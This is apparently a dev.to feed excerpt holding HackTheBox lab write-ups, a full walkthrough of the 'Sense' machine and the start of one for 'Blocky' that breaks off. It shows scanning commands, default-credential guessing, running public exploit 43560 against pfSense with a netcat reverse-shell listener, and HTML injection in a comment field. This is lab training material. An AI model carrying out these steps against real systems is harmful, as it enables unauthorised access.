&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhw45g9bqkxczh2umrk91.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhw45g9bqkxczh2umrk91.PNG" alt="Alt Text" width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzw191pycuwwllbic09j4.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzw191pycuwwllbic09j4.PNG" alt="Alt Text" width="304" height="377"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>hack</category>
      <category>python</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Sense - Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Tue, 17 Aug 2021 18:59:20 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-sense-without-metasploit-oscp-prep-ape</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-sense-without-metasploit-oscp-prep-ape</guid>
      <description>&lt;p&gt;Hello there!&lt;/p&gt;

&lt;p&gt;I just finished doing Sense from Hackthebox and sharing my writeup.&lt;/p&gt;

&lt;p&gt;First thing is first, lets start with Nmap!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sC -sV -T4 -oN nmap.txt 10.10.10.60&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-sC = Default Scripts&lt;/li&gt;
&lt;li&gt;-sV = Probe open ports to determine service/Versions info&lt;/li&gt;
&lt;li&gt;-T4 = Set timing for faster output (0-5)&lt;/li&gt;
&lt;li&gt;-oN = Output to save it to a file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqz27aom9osv4rdmsja6p.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqz27aom9osv4rdmsja6p.PNG" alt="Alt Text" width="800" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ports Open&lt;/strong&gt;&lt;br&gt;
80 TCP HTTP lighttp 1.4.35, is an open-source web server optimized for speed-critical environments while remaining standards-compliant secure and flexible.&lt;br&gt;
443 TCP SSL/HTTPs?&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap --script vuln -oN vuln.txt 10.10.10.60&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwr6nqa4a159h9zy0qqed.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwr6nqa4a159h9zy0qqed.PNG" alt="Alt Text" width="800" height="357"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After running this command I get a few options for Vulnerabilities. But a MITM and/or Information Disclosure is of little use to us here.&lt;/p&gt;

&lt;p&gt;Let's head over to the site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcqyqi1n307udkgtemrp0.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcqyqi1n307udkgtemrp0.PNG" alt="Alt Text" width="800" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now select &lt;strong&gt;Accept&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdwx7uhwn3cugcuddgnm7.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdwx7uhwn3cugcuddgnm7.PNG" alt="Alt Text" width="800" height="260"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This will bring up a login page.&lt;br&gt;
I tried a few different default options but it didn't allow me to gain access to the site. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhrxjmoo4sf0c5ukm33f2.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhrxjmoo4sf0c5ukm33f2.PNG" alt="Alt Text" width="800" height="429"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now I am going to try and run &lt;strong&gt;Gobuster&lt;/strong&gt;..&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;gobuster dir -u &lt;a href="https://10.10.10.60" rel="noopener noreferrer"&gt;https://10.10.10.60&lt;/a&gt; -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e -x txt -k &amp;gt; gobuster&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9btka1uqujokwih9f013.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9btka1uqujokwih9f013.PNG" alt="Alt Text" width="800" height="21"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This will take some time, but after some time you should get the following response back from the search.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmyovbgmt2584j8c1g5fk.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmyovbgmt2584j8c1g5fk.PNG" alt="Alt Text" width="800" height="310"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am going to check out the &lt;strong&gt;.txt&lt;/strong&gt; files first.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9w2c37dc487yvb0no6y.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9w2c37dc487yvb0no6y.PNG" alt="Alt Text" width="800" height="257"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So let's head over to Google to see if we can find any default creds.&lt;/p&gt;

&lt;p&gt;After some searching I come across the following.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tzai5sw17756w82sdub.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tzai5sw17756w82sdub.PNG" alt="Alt Text" width="800" height="609"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;admin:pfsense&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And the username we found above is &lt;strong&gt;Rohit&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Afternoon some playing around I noticed that if you switched the case's you will be able to get in.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwtjwh1b95bgdlc3mjs2n.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwtjwh1b95bgdlc3mjs2n.PNG" alt="Alt Text" width="615" height="603"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After we get in  we are able to get some additional information on the underlying services.&lt;/p&gt;

&lt;h2&gt;
  
  
  Version:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;2.1.3-Release(amd64) FreeBSD 8-3-Release&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;&lt;a href="mailto:root@pf2_1_1_amd64.pfsense.org"&gt;root@pf2_1_1_amd64.pfsense.org&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faultkcpt0mqg2jzhwwdf.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faultkcpt0mqg2jzhwwdf.PNG" alt="Alt Text" width="800" height="468"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With the information that we were able to get from the login window we are able to use this to head over to Google for some more enumerating.&lt;/p&gt;

&lt;p&gt;After some searching I come across the following site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ab4f4c948lsw8dcffpy.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ab4f4c948lsw8dcffpy.PNG" alt="Alt Text" width="800" height="243"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This looks very promising! This is a Command Injection Vulnerability. &lt;/p&gt;

&lt;p&gt;When scrolling down into the code base it looks like you only need a few items to get the ball rolling on this one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Options:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;rhost&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;lhost&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;lport&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;username&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;password&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Something I like to do is to check if its already on Kali. Why download something if the exploit is already here?&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;searchsploit pfsense&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now look for that tag number &lt;strong&gt;43560&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv2pm4xt3sdp3b0rxvmv4.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv2pm4xt3sdp3b0rxvmv4.PNG" alt="Alt Text" width="800" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;locate php/webapps/43560.py&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;cp /usr/share/exploitdb/exploits/php/webapps/43560.py .&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9ybj9wzkl5vrqtwyqcp.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9ybj9wzkl5vrqtwyqcp.PNG" alt="Alt Text" width="800" height="171"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;chmod +x 43560.py&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxol5yugxojd1iwnk2qt6.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxol5yugxojd1iwnk2qt6.PNG" alt="Alt Text" width="800" height="87"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's run this bad boy!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.7 --lport 1234 --username rohit --password pfsense&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpy4s54ypikaxcht4b5t8.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpy4s54ypikaxcht4b5t8.PNG" alt="Alt Text" width="800" height="83"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nc -nvlp 1234&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9e505w5ympz7umucvpmi.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9e505w5ympz7umucvpmi.PNG" alt="Alt Text" width="800" height="170"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;whoami&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4x8jslpvz31f3d54jd23.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4x8jslpvz31f3d54jd23.PNG" alt="Alt Text" width="800" height="194"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's get the &lt;strong&gt;Flags&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33wlzvajqkjr2qdiwf1e.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33wlzvajqkjr2qdiwf1e.PNG" alt="Alt Text" width="749" height="227"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsv7bwz8z56ijr323dxgq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsv7bwz8z56ijr323dxgq.PNG" alt="Alt Text" width="261" height="629"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>python</category>
      <category>hackthebox</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Blocky - Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Fri, 13 Aug 2021 15:55:58 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-blocky-without-metasploit-oscp-prep-58hc</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-blocky-without-metasploit-oscp-prep-58hc</guid>
      <description>&lt;p&gt;Hello All!&lt;/p&gt;

&lt;p&gt;Did another walk-through and this time its Blocky from HackTheBox.&lt;/p&gt;

&lt;p&gt;So let's kick this off. &lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sC -sV -T4 -oN nmap.txt 10.10.10.37&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-sC = Default Scripts&lt;/li&gt;
&lt;li&gt;-sV = Probe open ports to determine service/Versions info&lt;/li&gt;
&lt;li&gt;-T4 = Set timing for faster output (0-5)&lt;/li&gt;
&lt;li&gt;-oN = Output to save it to a file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frnu18x0qtggdzbkbxdn2.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frnu18x0qtggdzbkbxdn2.PNG" alt="Alt Text" width="800" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Current Ports Open:
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;21 FTP ProFTP 1.3.5a&lt;/li&gt;
&lt;li&gt;22 SSH OpenSSH 7.2p2&lt;/li&gt;
&lt;li&gt;80 HTTP Appache HttpD 2.4.18&lt;/li&gt;
&lt;li&gt;8192 Closed&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now let's try to run &lt;strong&gt;Dirb&lt;/strong&gt; on the system. &lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;dirb &lt;a href="http://10.10.10.37" rel="noopener noreferrer"&gt;http://10.10.10.37&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkfewcsctd64875tmt4ox.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkfewcsctd64875tmt4ox.PNG" alt="Alt Text" width="616" height="66"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After a few moments we should get a response from the busting.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1h06uqkvcgjoorpdll6g.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1h06uqkvcgjoorpdll6g.PNG" alt="Alt Text" width="664" height="703"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a lot of information here so let's take 1 step at a time. Going to the first Directory found brings up a &lt;strong&gt;Landing Page&lt;/strong&gt; that if you scroll down to the bottom has a Comment section. Granted there is no option for uploading files to this section but you can run &lt;strong&gt;html&lt;/strong&gt; code that will display.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt; test &lt;h1&gt;&lt;/h1&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzamlfs4isjels68yrvlw.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzamlfs4isjels68yrvlw.PNG" alt="Alt Text" width="500" height="768"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So this isn't the most interesting thing but if you scroll down you will see a &lt;strong&gt;Login&lt;/strong&gt; button.&lt;/p&gt;

&lt;p&gt;I am going to try some quick common passwords on the site:&lt;br&gt;
&lt;strong&gt;admin:admin; admin:password; admin:password1234; root:toor; root:root&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7tg0tm805vqg6xkq5guw.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7tg0tm805vqg6xkq5guw.PNG" alt="Alt Text" width="617" height="485"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;None of these seems to work so I went over to Google to see if there are any default creds I could use.&lt;/p&gt;

&lt;p&gt;But scrolling down the &lt;strong&gt;Dirb&lt;/strong&gt; list the &lt;strong&gt;/phpmyadmin/&lt;/strong&gt; brings up a new potential avenue for access.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqw78loagb899vxua62mi.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqw78loagb899vxua62mi.PNG" alt="Alt Text" width="678" height="528"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I attempted some common username:password combinations like above but no juice. Going back down the list from &lt;strong&gt;Dirb&lt;/strong&gt;, I came across 2 different files under the &lt;strong&gt;/plugins/&lt;/strong&gt; location. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flj1lmyq2s8orll4mfcce.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flj1lmyq2s8orll4mfcce.PNG" alt="Alt Text" width="656" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's go ahead and download these files to our Kali machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;mv BlockyCore.jar /home/huey/Documents/HTB/Blocky&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;mv griefprevention-1.11.2-3.1.1.298.jar /home/huey/Documents/HTB/Blocky&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Then head to google and search for &lt;strong&gt;Java Decompilers&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Select Browse then upload your file&lt;/strong&gt;&lt;/p&gt;

